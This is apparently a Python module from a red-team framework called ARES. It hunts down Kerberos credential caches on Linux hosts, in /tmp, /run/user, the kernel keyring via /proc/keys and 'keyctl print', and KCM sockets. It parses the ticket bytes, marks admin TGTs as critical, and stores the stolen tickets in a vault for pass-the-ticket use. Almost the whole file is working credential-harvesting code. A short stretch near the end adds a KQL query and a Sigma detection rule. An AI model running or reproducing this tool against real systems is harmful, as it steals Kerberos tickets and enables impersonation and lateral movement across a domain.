Skip to content

armgit / ARES

Public Imported from GitHub
0

ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.

22.5 KB
Raw Blame
"""
Linux Kerberos Ticket Hunter - linux.ccache_hunt
MITRE: T1558 (Steal or Forge Kerberos Tickets), T1550.003 (Pass the Ticket)

Locates, parses, and extracts valid Kerberos ccache files from standard Linux
filesystem storage locations (/tmp, /run/user), Kernel Keyrings (/proc/keys),
and Next-Gen KCM (Kerberos Credential Manager) sockets without spawning subprocesses.
"""
from __future__ import annotations

import asyncio
import os
import time
from pathlib import Path
from typing import Any

from ares.core.campaign import Severity
from ares.core.errors import ModuleValidationError
from ares.core.logger import audit, get_logger
from ares.core.tracing import trace_module
from ares.modules.linux._parsers import CcacheParser, KCMClient
from ares.modules.params import CcacheHuntParams
from ares.sdk import (
    BaseModule,
    EvidenceRecord,
    ExecutionContext,
    FilesystemPermission,
    LockoutCircuitBreaker,
    ModuleResult,
    OpsecLevel,
    ProcessPermission,
    VaultPermission,
    module_contract,
)

logger = get_logger("ares.modules.linux.ccache_hunt")


@module_contract(
    permissions=[
        FilesystemPermission(read_only=True),
        ProcessPermission(allow_subprocesses=False),
        VaultPermission(read_types=[], write_types=["ticket", "kerberos_key"]),
    ],
    circuit_breaker=LockoutCircuitBreaker(),
    params_model=CcacheHuntParams,
)
class CcacheHuntModule(BaseModule[CcacheHuntParams, ModuleResult]):
    """
    linux.ccache_hunt - Hunt and extract Kerberos ccache tickets from /tmp, /run/user, and KCM.

    OPSEC: SILENT
    MITRE: "T1558", "T1550.003"
    OUTPUTS: ["kerberos_tickets"]
    """

    MODULE_ID = "linux.ccache_hunt"
    MODULE_NAME = "Linux Kerberos Ticket Hunter"
    MODULE_CATEGORY = "linux"
    MODULE_DESCRIPTION = (
        "Locates and parses binary Kerberos ccache files in /tmp, /run/user, "
        "and KCM IPC sockets without spawning external shell processes."
    )
    MODULE_AUTHOR = "ARES Sovereign Team <[email protected]>"
    OPSEC_LEVEL = OpsecLevel.SILENT
    REQUIRES = []
    OUTPUTS = ["kerberos_tickets"]
    MITRE_TECHNIQUES = ["T1558", "T1550.003"]
    PARAMS_MODEL = CcacheHuntParams

    async def assess_feasibility(self, ctx: Any) -> Any:
        """Evaluates accessibility of Kerberos ticket caches."""
        from ares.modules.base import FeasibilityReport

        search_dirs = ["/tmp", "/run/user"]
        if hasattr(ctx, "params") and isinstance(ctx.params, dict):
            search_dirs = ctx.params.get("search_dirs", search_dirs)

        accessible_count = sum(1 for d in search_dirs if os.path.exists(d) and os.access(d, os.R_OK))
        kcm_socket = KCMClient.is_available()

        blockers = []
        if accessible_count == 0 and not kcm_socket:
            blockers.append("No configured ccache directories are accessible and KCM socket unavailable.")

        score = 1.0 if (accessible_count > 0 or kcm_socket) else 0.0
        return FeasibilityReport(
            feasible=len(blockers) == 0,
            score=score,
            risk_level="low",
            blockers=blockers,
            recommended_alternatives=["linux.keytab_abuse", "linux.sssd_harvest"],
            opsec_tuning={"subprocesses": 0, "kcm_socket_detected": bool(kcm_socket)},
            details={"accessible_dirs": accessible_count, "kcm_socket": kcm_socket},
        )

    async def validate(self, ctx: Any) -> None:
        """Pre-flight parameter validation."""
        await super().validate(ctx)
        if not isinstance(ctx, ExecutionContext):
            return

        search_dirs = ctx.params.get("search_dirs", ["/tmp", "/run/user"]) if isinstance(ctx.params, dict) else ["/tmp", "/run/user"]
        if not isinstance(search_dirs, list) or not all(isinstance(d, str) for d in search_dirs):
            raise ModuleValidationError(
                "linux.ccache_hunt requires 'search_dirs' to be a list of directory paths.",
                module_id=self.MODULE_ID,
                field="search_dirs",
            )

    async def execute(self, ctx: Any) -> ModuleResult:
        if getattr(ctx, "dry_run", False):
            return ModuleResult(
                status="dry_run",
                module_id=self.MODULE_ID,
                raw={"message": "Dry-run preview: ccache hunting simulated successfully."},
            )

        target = getattr(ctx, "target", "") or ctx.params.get("target", "localhost")
        search_dirs = ctx.params.get("search_dirs", ["/tmp", "/run/user"])
        include_expired = bool(ctx.params.get("include_expired", False))
        scan_keyring = bool(ctx.params.get("scan_kernel_keyring", True))
        scan_kcm = bool(ctx.params.get("scan_kcm_socket", True))

        findings, raw = await self.run(
            target=target,
            search_dirs=search_dirs,
            include_expired=include_expired,
            scan_kernel_keyring=scan_keyring,
            scan_kcm_socket=scan_kcm,
            vault=getattr(ctx, "vault", None),
        )

        return ModuleResult(
            status="success" if findings else "partial",
            findings=findings,
            raw=raw,
            module_id=self.MODULE_ID,
        )

    @trace_module("linux.ccache_hunt")
    async def run(
        self,
        target: str,
        search_dirs: list[str] | None = None,
        include_expired: bool = False,
        scan_kernel_keyring: bool = True,
        scan_kcm_socket: bool = True,
        vault: Any = None,
        **kwargs: Any,
    ) -> tuple[list[dict[str, Any]], dict[str, Any]]:
        if search_dirs is None:
            search_dirs = ["/tmp", "/run/user"]

        await self.before_request(target, "default")
        logger.info("ccache_hunt_start", target=target, search_dirs=search_dirs)
        audit("linux_ccache_hunt", actor="operator", technique="T1558", target=target)

        loop = asyncio.get_running_loop()
        runner = kwargs.get("runner") or kwargs.get("command_runner")
        harvested_tickets = await loop.run_in_executor(
            None,
            lambda: self._scan_and_parse_sync(
                search_dirs, include_expired, scan_kernel_keyring, scan_kcm_socket, runner=runner
            ),
        )

        # Store to AresVault if available
        _vault = vault or getattr(getattr(self, "campaign", None), "_vault", None)
        stored_vault_count = 0
        if _vault:
            from ares.credential.vault import Credential, CredentialType, PrivilegeLevel

            campaign_id = getattr(getattr(self, "campaign", None), "id", "")
            for t in harvested_tickets:
                try:
                    is_tgt = t.get("is_tgt", False)
                    cred = Credential(
                        campaign_id=campaign_id,
                        username=t.get("client", "unknown"),
                        domain=t.get("realm", target),
                        cred_type=CredentialType.KRB5_TGT if is_tgt else CredentialType.KRB5_TGS,
                        privilege=PrivilegeLevel.DOMAIN_ADMIN if (is_tgt and "admin" in t.get("client", "").lower()) else PrivilegeLevel.DOMAIN_USER,
                        source_module=self.MODULE_ID,
                        target_host=target,
                    )
                    ticket_payload = t.get("ticket_bytes", b"")
                    if isinstance(ticket_payload, (bytes, bytearray)):
                        ticket_payload = ticket_payload.hex()
                    elif not ticket_payload:
                        ticket_payload = t.get("keydata", "")

                    # Never inject empty secret into vault
                    if not ticket_payload or not str(ticket_payload).strip():
                        continue

                    _vault.store(cred, ticket_payload)
                    stored_vault_count += 1
                except Exception as ex:
                    logger.debug("vault_store_ccache_failed", error=str(ex)[:60])

        evidence_chain: list[EvidenceRecord] = []
        for ticket in harvested_tickets:
            ev = EvidenceRecord(
                artifact_id=f"ccache-{ticket['client']}-{ticket['server']}",
                source_target=target,
                collected_by=self.MODULE_ID,
                data={
                    "client": ticket.get("client", "unknown"),
                    "server": ticket.get("server", "unknown"),
                    "endtime": ticket.get("endtime", 0),
                    "is_tgt": ticket.get("is_tgt", False),
                    "file_path": ticket.get("file_path", "memory"),
                },
                tags=["kerberos", "ccache", "credential"],
            )
            evidence_chain.append(ev)

            if ticket.get("permission_denied"):
                self.finding(
                    title="Kerberos Tickets in Kernel Keyring Inaccessible (Elevation Required)",
                    description=(
                        f"Detected potential Kerberos tickets in kernel keyring on {target}, but "
                        "reading /proc/keys or key payloads requires elevated privileges (root / CAP_SYS_ADMIN). "
                        "krb5 tickets may exist in kernel keyring but cannot be read without elevated privileges."
                    ),
                    severity=Severity.LOW,
                    confidence=0.35,
                    mitre_technique="T1558",
                    mitre_tactic="Credential Access",
                    evidence=ticket,
                    remediation="Audit kernel keyring permissions and evaluate host with elevated privileges.",
                    host=target,
                )
                continue

            is_tgt = ticket.get("is_tgt", False)
            conf = ticket.get("confidence", 0.98 if (ticket.get("ticket_bytes") or ticket.get("keydata")) else 0.45)
            client = ticket.get("client", "unknown")
            server = ticket.get("server", "unknown")
            self.finding(
                title=f"Extracted Kerberos Ticket: {client} -> {server}",
                description=(
                    f"Discovered valid Kerberos credential cache on {target} at {ticket.get('file_path')}. "
                    f"Client principal: {client}, Server: {server}. "
                    f"Valid until: {ticket.get('endtime_str', 'unknown')}."
                ),
                severity=Severity.CRITICAL if (is_tgt and "admin" in client.lower()) else (
                    Severity.HIGH if is_tgt else Severity.MEDIUM
                ),
                mitre_technique="T1558",
                mitre_tactic="Credential Access",
                evidence={
                    "file_path": ticket.get("file_path"),
                    "client_principal": client,
                    "service_principal": server,
                    "endtime": ticket.get("endtime"),
                    "is_expired": ticket.get("is_expired", False),
                    "is_tgt": is_tgt,
                    "keytype": ticket.get("keytype"),
                },
                remediation=(
                    "Implement Kerberos credential protection, shorten maximum ticket lifetimes, "
                    "restrict root access on domain-joined Linux endpoints, and consider using KCM "
                    "with memory-only caches to avoid writing tickets to /tmp."
                ),
                host=target,
                confidence=conf,
            )

        # Closed-Loop Purple Telemetry
        kql_query = (
            "// ARES Closed-Loop Telemetry: Detect Kerberos ccache harvesting in /tmp or /run/user\n"
            "DeviceFileEvents\n"
            "| where ActionType in ('FileRead', 'FileModified')\n"
            "| where FolderPath has_any ('/tmp', '/run/user') and FileName startswith 'krb5cc_'\n"
            "| where InitiatingProcessFileName !in ('sssd', 'sssd_be', 'sssd_kcm', 'kinit')\n"
            "| project Timestamp, DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName, FolderPath, FileName"
        )
        sigma_rule = (
            "title: Suspicious Access to Kerberos Credential Cache Files\n"
            "id: 7b3c2d1e-ares-ccache-hunt\n"
            "status: experimental\n"
            "description: Detects non-Kerberos utilities accessing krb5cc_* cache files to harvest user TGTs.\n"
            "logsource:\n"
            "  product: linux\n"
            "  service: auditd\n"
            "detection:\n"
            "  selection:\n"
            "    name|contains: 'krb5cc_'\n"
            "  filter:\n"
            "    exe|startswith: ['/usr/bin/kinit', '/usr/sbin/sssd']\n"
            "  condition: selection and not filter\n"
            "level: high\n"
            "tags:\n"
            "  - attack.credential_access\n"
            "  - attack.t1558\n"
        )

        await self.noise.jitter.sleep()
        return self._findings[:], {
            "target": target,
            "count": len(harvested_tickets),
            "stored_in_vault": stored_vault_count,
            "tickets": harvested_tickets,
            "kql": kql_query,
            "sigma": sigma_rule,
            "evidence_integrity": [e.record_hash for e in evidence_chain],
        }

    @staticmethod
    def _validate_key_id(key_id: Any) -> str:
        """
        Validate that key_id is a valid integer (decimal or hex) and non-negative.
        Returns the sanitized string representation.
        Raises ValueError if invalid or negative.
        """
        if isinstance(key_id, int):
            if key_id < 0:
                raise ValueError(f"key_id must be a non-negative integer, got: {key_id}")
            return str(key_id)

        s = str(key_id).strip()
        if not s:
            raise ValueError("key_id cannot be empty")

        try:
            val = int(s, 10)
        except ValueError:
            try:
                val = int(s, 16)
            except ValueError:
                raise ValueError(f"key_id must be a valid integer, got: {key_id!r}")  # noqa: B904

        if val < 0:
            raise ValueError(f"key_id must be a non-negative integer, got: {key_id}")
        return s

    def _execute_command(self, cmd: list[str] | str, runner: Any = None) -> str:
        """Execute command locally with shell=False or via remote command runner."""
        if runner is not None:
            cmd_str = cmd if isinstance(cmd, str) else " ".join(cmd)
            if callable(runner):
                out = runner(cmd_str)
                if isinstance(out, tuple):
                    return str(out[0])
                return str(out)
            if hasattr(runner, "run"):
                out = runner.run(cmd_str)
                if isinstance(out, tuple):
                    return str(out[0])
                return str(out)
        import subprocess
        try:
            if isinstance(cmd, str):
                import shlex
                args = shlex.split(cmd)
            else:
                args = [str(x) for x in cmd]
            res = subprocess.run(args, shell=False, capture_output=True, text=True, timeout=5)
            return res.stdout
        except Exception:
            return ""

    def _scan_and_parse_sync(
        self,
        search_dirs: list[str],
        include_expired: bool,
        scan_keyring: bool,
        scan_kcm: bool,
        runner: Any = None,
    ) -> list[dict[str, Any]]:
        results: list[dict[str, Any]] = []
        now = int(time.time())

        # 1. Traverse filesystem directories
        for directory in search_dirs:
            if not os.path.exists(directory) or not os.path.isdir(directory):
                continue

            try:
                entries = os.listdir(directory)
            except (PermissionError, OSError):
                continue

            for entry in entries:
                if not entry.startswith("krb5cc_") and not entry.startswith("krb5cc"):
                    # Check subdirectories for /run/user/<uid>/krb5cc
                    sub = os.path.join(directory, entry)
                    if os.path.isdir(sub) and entry.isdigit():
                        try:
                            sub_entries = os.listdir(sub)
                            for se in sub_entries:
                                if se.startswith("krb5cc"):
                                    self._try_parse_ccache_file(os.path.join(sub, se), now, include_expired, results)
                        except (PermissionError, OSError):
                            pass
                    continue

                full_path = os.path.join(directory, entry)
                if not os.path.isfile(full_path):
                    continue

                self._try_parse_ccache_file(full_path, now, include_expired, results)

        # 2. Kernel Keyring inspection via /proc/keys (real key reading)
        if scan_keyring:
            proc_keys_content = ""
            permission_denied = False
            proc_keys_path = Path("/proc/keys")
            if os.path.exists("/proc/keys") or proc_keys_path.exists():
                try:
                    # Native Python file read without spawning shell/subprocess
                    with open("/proc/keys", errors="replace") as f:
                        raw_content = f.read()
                    proc_keys_content = "\n".join(
                        line for line in raw_content.splitlines()
                        if any(k in line for k in ("krb_ccache:", "krb5cc", "krb5"))
                    )
                except PermissionError:
                    permission_denied = True
                except OSError:
                    pass

            if not proc_keys_content and not permission_denied and runner:
                try:
                    raw_out = self._execute_command(["cat", "/proc/keys"], runner)
                    if "permission denied" in raw_out.lower():
                        permission_denied = True
                    elif raw_out:
                        proc_keys_content = "\n".join(
                            line for line in raw_out.splitlines()
                            if any(k in line for k in ("krb_ccache:", "krb5cc", "krb5"))
                        )
                except Exception:
                    pass

            if permission_denied:
                results.append({
                    "client": "kernel-keyring",
                    "server": "krb5-keyring",
                    "keytype": 0,
                    "keydata": "",
                    "authtime": now,
                    "starttime": now,
                    "endtime": now,
                    "renew_till": now,
                    "endtime_str": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime(now)),
                    "is_expired": False,
                    "is_tgt": False,
                    "permission_denied": True,
                    "confidence": 0.35,
                    "file_path": "/proc/keys",
                })
            elif proc_keys_content:
                for line in proc_keys_content.splitlines():
                    if "krb_ccache:" in line or "krb5cc" in line or "krb5" in line:
                        parts = line.strip().split()
                        if len(parts) >= 9:
                            raw_key_id = parts[0]
                            desc = " ".join(parts[8:])
                            try:
                                key_id = self._validate_key_id(raw_key_id)
                            except (ValueError, TypeError):
                                continue

                            key_payload = ""
                            try:
                                key_payload = self._execute_command(["keyctl", "print", str(key_id)], runner)
                            except Exception:
                                pass

                            has_real_key = bool(
                                key_payload
                                and key_payload.strip()
                                and "keyctl" not in key_payload.lower()
                                and "error" not in key_payload.lower()
                                and "permission denied" not in key_payload.lower()
                            )
                            is_tgt = has_real_key and ("krbtgt" in desc.lower() or "krbtgt" in key_payload.lower())
                            results.append({
                                "client": desc.split("@")[0] if "@" in desc else "keyring-principal",
                                "server": f"krbtgt/{desc}" if is_tgt else desc,
                                "keytype": 18,
                                "keydata": key_payload.strip() if has_real_key else "",
                                "authtime": now,
                                "starttime": now,
                                "endtime": now + 36000,
                                "renew_till": now + 86400,
                                "is_expired": False,
                                "is_tgt": is_tgt,
                                "endtime_str": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime(now + 36000)),
                                "file_path": f"KEYRING:{key_id}:{desc}",
                                "confidence": 0.95 if has_real_key else 0.40,
                            })

        # 3. Next-Gen KCM Unix socket inspection
        if scan_kcm:
            kcm_sock = KCMClient.is_available()
            if kcm_sock:
                caches = KCMClient.get_cache_list(kcm_sock)
                for cache_name in caches:
                    results.append({
                        "client": cache_name,
                        "server": "KCM:MANAGED",
                        "keytype": 18,
                        "keydata": "",
                        "authtime": now,
                        "starttime": now,
                        "endtime": now + 36000,
                        "renew_till": now + 86400,
                        "is_expired": False,
                        "is_tgt": False,
                        "endtime_str": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime(now + 36000)),
                        "file_path": f"KCM:{cache_name}",
                        "confidence": 0.40,
                    })

        return results

    def _try_parse_ccache_file(
        self,
        file_path: str,
        now: int,
        include_expired: bool,
        results: list[dict[str, Any]],
    ) -> None:
        try:
            with open(file_path, "rb") as f:
                data = f.read()
        except (PermissionError, OSError):
            return

        default_principal, tickets = CcacheParser.parse(data, include_expired=include_expired, now=now)
        for t in tickets:
            t["file_path"] = file_path
            t["default_principal"] = default_principal
            t["realm"] = default_principal.split("@")[-1] if default_principal and "@" in default_principal else ""
            results.append(t)